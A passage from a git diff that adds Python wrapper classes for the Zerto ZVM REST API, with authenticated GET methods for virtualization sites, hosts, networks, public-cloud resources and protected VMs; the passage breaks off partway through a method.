logging.info("VirtualizationSites.get_virtualization_sites: Fetching all virtualization sites...") + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_vms(self, site_identifier): + """ + Get a list of unprotected VMs from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get VMs from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/vms + + Returns: + list: Array of unprotected VMs in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/vms" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_vms: Fetching VMs for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_vcd_vapps(self, site_identifier): + """ + Get a list of unprotected VCD vApps from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get VCD vApps from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/vcdvapps + + Returns: + list: Array of unprotected VCD vApps in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/vcdvapps" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_vcd_vapps: Fetching VCD vApps for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_datastores(self, site_identifier): + """ + Get a list of datastores from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get datastores from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/datastores + + Returns: + list: Array of datastores in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/datastores" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_datastores: Fetching datastores for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_folders(self, site_identifier): + """ + Get a list of folders from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get folders from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/folders + + Returns: + list: Array of folders in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/folders" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_folders: Fetching folders for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_datastore_clusters(self, site_identifier): + """ + Get a list of datastore clusters from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get datastore clusters from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/datastoreclusters + + Returns: + list: Array of datastore clusters in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/datastoreclusters" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_datastore_clusters: Fetching datastore clusters for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_resource_pools(self, site_identifier): + """ + Get a list of resource pools from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get resource pools from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/resourcepools + + Returns: + list: Array of resource pools in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/resourcepools" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_resource_pools: Fetching resource pools for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_org_vdcs(self, site_identifier): + """ + Get a list of organization VDCs (Virtual Data Centers) from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get org VDCs from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/orgvdcs + + Returns: + list: Array of organization VDCs in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/orgvdcs" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_org_vdcs: Fetching org VDCs for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_networks(self, site_identifier): + """ + Get a list of networks from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get networks from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/networks + + Returns: + list: Array of networks in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/networks" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_networks: Fetching networks for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_hosts(self, site_identifier, host_identifier=None): + """ + Get hosts information from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get hosts from. + host_identifier (str, optional): The identifier of a specific host to get details for. + If not provided, returns all hosts. + + Endpoints: + - /v1/virtualizationsites/{siteIdentifier}/hosts (when host_identifier is None) + - /v1/virtualizationsites/{siteIdentifier}/hosts/{hostIdentifier} (when host_identifier is provided) + + Returns: + list or dict: Array of hosts if host_identifier is None, otherwise details of specific host + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/hosts" + if host_identifier: + url = f"{url}/{host_identifier}" + logging.info(f"VirtualizationSites.get_virtualization_site_hosts: Fetching host {host_identifier} from site {site_identifier}...") + else: + logging.info(f"VirtualizationSites.get_virtualization_site_hosts: Fetching all hosts for site {site_identifier}...") + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_repositories(self, site_identifier): + """ + Get a list of repositories from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get repositories from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/repositories + + Returns: + list: Array of repositories in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/repositories" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_repositories: Fetching repositories for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_host_clusters(self, site_identifier): + """ + Get a list of host clusters from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get host clusters from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/hostclusters + + Returns: + list: Array of host clusters in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/hostclusters" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_host_clusters: Fetching host clusters for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_org_vdc_networks(self, site_identifier, org_vdc_identifier): + """ + Get a list of networks from the specified organization VDC. (Auth) + + Args: + site_identifier (str): The identifier of the site. + org_vdc_identifier (str): The identifier of the organization VDC to get networks from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/orgvdcs/{orgVdcIdentifier}/networks + + Returns: + list: Array of networks in the specified organization VDC + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/orgvdcs/{org_vdc_identifier}/networks" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_org_vdc_networks: Fetching networks for org VDC {org_vdc_identifier} in site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_org_vdc_storage_policies(self, site_identifier, org_vdc_identifier): + """ + Get a list of storage policies from the specified organization VDC. (Auth) + + Args: + site_identifier (str): The identifier of the site. + org_vdc_identifier (str): The identifier of the organization VDC to get storage policies from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/orgvdcs/{orgVdcIdentifier}/storagepolicies + + Returns: + list: Array of storage policies in the specified organization VDC + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/orgvdcs/{org_vdc_identifier}/storagepolicies" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_org_vdc_storage_policies: Fetching storage policies for org VDC {org_vdc_identifier} in site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_devices(self, site_identifier, host_identifier=None, device_name=None): + """ + Get a list of devices from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get devices from. + host_identifier (str, optional): Filter devices by host identifier. + device_name (str, optional): Filter devices by device name. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/devices + + Query Parameters: + - hostIdentifier (optional) + - deviceName (optional) + + Returns: + list: Array of devices in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/devices" + + # Add query parameters if provided + params = {} + if host_identifier: + params['hostIdentifier'] = host_identifier + if device_name: + params['deviceName'] = device_name + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_devices: Fetching devices for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_public_cloud_networks(self, site_identifier): + """ + Get a list of public cloud virtual networks from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get public cloud virtual networks from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/publiccloud/virtualNetworks + + Returns: + list: Array of public cloud virtual networks in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/publiccloud/virtualNetworks" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_networks: Fetching public cloud virtual networks for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_public_cloud_subnets(self, site_identifier): + """ + Get a list of public cloud subnets from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get public cloud subnets from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/publiccloud/subnets + + Returns: + list: Array of public cloud subnets in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/publiccloud/subnets" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_subnets: Fetching public cloud subnets for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_public_cloud_security_groups(self, site_identifier): + """ + Get a list of public cloud security groups from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get public cloud security groups from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/publiccloud/securityGroups + + Returns: + list: Array of public cloud security groups in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/publiccloud/securityGroups" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_security_groups: Fetching public cloud security groups for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_public_cloud_vm_instance_types(self, site_identifier): + """ + Get a list of public cloud VM instance types from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get VM instance types from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/publiccloud/vmInstanceTypes + + Returns: + list: Array of public cloud VM instance types in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/publiccloud/vmInstanceTypes" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_vm_instance_types: Fetching VM instance types for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_public_cloud_resource_groups(self, site_identifier): + """ + Get a list of public cloud resource groups from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get resource groups from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/publiccloud/resourceGroups + + Returns: + list: Array of public cloud resource groups in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/publiccloud/resourceGroups" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_resource_groups: Fetching resource groups for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_public_cloud_keys_containers(self, site_identifier): + """ + Get a list of public cloud keys containers from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get keys containers from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/publiccloud/keyscontainers + + Returns: + list: Array of public cloud keys containers in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/publiccloud/keyscontainers" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_keys_containers: Fetching keys containers for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_public_cloud_encryption_keys(self, site_identifier, encryption_key_id=None): + """ + Get public cloud encryption keys from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site. + encryption_key_id (str, optional): The identifier of a specific encryption key to retrieve. + If not provided, returns all encryption keys. + + Endpoints: + - /v1/virtualizationsites/{siteIdentifier}/publiccloud/encryptionkeys (when encryption_key_id is None) + - /v1/virtualizationsites/{siteIdentifier}/publiccloud/encryptionkeys/{encryptionKeyId} (when encryption_key_id is provided) + + Returns: + list or dict: Array of encryption keys if encryption_key_id is None, otherwise details of specific key + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/publiccloud/encryptionkeys" + if encryption_key_id: + url = f"{url}/{encryption_key_id}" + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_encryption_keys: Fetching encryption key {encryption_key_id} for site {site_identifier}...") + else: + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_encryption_keys: Fetching all encryption keys for site {site_identifier}...") + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_public_cloud_managed_identities(self, site_identifier): + """ + Get a list of public cloud managed identities from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get managed identities from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/publiccloud/managedidentities + + Returns: + list: Array of public cloud managed identities in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/publiccloud/managedidentities" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_managed_identities: Fetching managed identities for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_public_cloud_disk_encryption_keys(self, site_identifier): + """ + Get a list of public cloud disk encryption keys from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get disk encryption keys from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/publiccloud/diskencryptionkeys + + Returns: + list: Array of public cloud disk encryption keys in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/publiccloud/diskencryptionkeys" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_disk_encryption_keys: Fetching disk encryption keys for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise \ No newline at end of file diff --git a/zvml/vms.py b/zvml/vms.py new file mode 100644 index 0000000..b3fe77d --- /dev/null +++ b/zvml/vms.py @@ -0,0 +1,349 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import json + +class VMs: + def __init__(self, client): + self.client = client + + def list_vms(self, vm_identifier=None, vpg_name=None, vm_name=None, status=None, sub_status=None, + + protected_site_type=None, recovery_site_type=None, protected_site_identifier=None, + recovery_site_identifier=None, organization_name=None, priority=None, + vpg_identifier=None, include_backuped_vms=None, include_mounted_vms=True): + """ + Get information about protected virtual machines. If vm_identifier is provided, + returns details about a specific VM, otherwise returns a filtered list of VMs. (Auth) + + Args: + vm_identifier (str, optional): The identifier of a specific VM to get information about + vpg_name (str, optional): The name of the VPG + vm_name (str, optional): The name of the VM + status (str, optional): The status of the VPG + sub_status (str, optional): The sub-status of the VPG + protected_site_type (str, optional): The protected site type + recovery_site_type (str, optional): The recovery site type + protected_site_identifier (str, optional): The identifier of the protected site + recovery_site_identifier (str, optional): The identifier of the recovery site + organization_name (str, optional): The ZORG name + priority (str, optional): The VPG priority + vpg_identifier (str, optional): The identifier of the VPG (used with vm_identifier) + include_backuped_vms (bool, optional): Include VMs in backup targets + include_mounted_vms (bool, optional): Include mounted VMs in the response + + Returns: + dict or list: Details of a specific VM if vm_identifier is provided, + otherwise an array of protected VMs matching the filter criteria + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + # Build the URL based on whether we're getting a specific VM or listing VMs + base_url = f"https://{self.client.zvm_address}/v1/vms" + url = f"{base_url}/{vm_identifier}" if vm_identifier else base_url + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + # Build params based on whether we're getting a specific VM or listing VMs + if vm_identifier: + params = { + 'vpgIdentifier': vpg_identifier, + 'includeBackupedVms': include_backuped_vms, + 'includeMountedVms': include_mounted_vms + } + log_msg = f"VMs.list_vms: Fetching VM {vm_identifier}" + else: + params = { + 'vpgName': vpg_name, + 'vmName': vm_name, + 'status': status, + 'subStatus': sub_status, + 'protectedSiteType': protected_site_type, + 'recoverySiteType': recovery_site_type, + 'protectedSiteIdentifier': protected_site_identifier, + 'recoverySiteIdentifier': recovery_site_identifier, + 'organizationName': organization_name, + 'priority': priority, + 'vmIdentifier': vm_identifier, + 'includeBackupedVms': include_backuped_vms, + 'includeMountedVms': include_mounted_vms + } + log_msg = "VMs.list_vms: Fetching VMs" + + # Remove None values from params + params = {k: v for k, v in params.items() if v is not None} + + logging.info(f"{log_msg} with params: {params}") + try: + response = requests.get(url, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + 